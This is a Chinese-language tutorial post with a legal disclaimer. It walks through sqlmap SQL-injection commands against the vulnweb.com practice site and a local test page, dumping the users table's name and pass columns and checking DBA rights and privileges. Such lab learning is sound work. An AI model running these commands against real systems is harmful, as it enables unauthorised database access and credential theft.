本文仅作为技术文档记录,学习使用,请合法合规,严格遵守《中华人民共和国网络安全法》。一切未经授权的渗透测试行为都是违法违规的。
首先通过sql注入拿到后台数据 基本上就要用到下面的语句
首先知道注入点地址为 http://localhost/new.php?id=1(自己搭建的)
python .\sqlmap.py -u "http://localhost/new.php?id=2" --columns -T "admin" -D "demo01"
测试:http://vulnweb.com/
此次用到的数据猜解语句
--current-db
--tables -D ""
--columns -T "" -D ""
--dump -C "" -C "" -T ""
--is-dba
注入点靶场地址http://testphp.vulnweb.com/artists.php?artist=1
使用语句 python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables
这里检测到“artist”参数可能存在SQL注入漏洞,并且建议后端数据库管理系统(DBMS)是MySQL
找到表acuart数据库 继续操作(获取 acuart数据库中 users表中的信息)
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" --tables -D "acuart" 发现了name 和pass,然后获取name和pass中的内容
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" --columns -T "users" --tables -D "acuart"
成功获得数据
--is-dba判断是不是高级权限
查看是否是管理员(dba:false)也就是普通用户权限
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba
但这个其实也不准,接下来我们再试试--current-user
emmmm不知道奥哈哈 反正不是root也不能确定。。。。
开始新的项目本地搭建的一个网站 http://localhost/new.php?id=1
python .\sqlmap.py -u "http://localhost/new.php?id=1" --is-dba先看看是不是数据库管理员
这里DBA显示的false也就是不是,但实际上应该是的 我们换个语句试试
python .\sqlmap.py -u "http://localhost/new.php?id=1" --privileges查看一下权限
权限都是有的,莫非我们不是root? 我们查看一下当前用户呢
python .\sqlmap.py -u "http://localhost/new.php?id=1" -current-user
我们是root。。。。。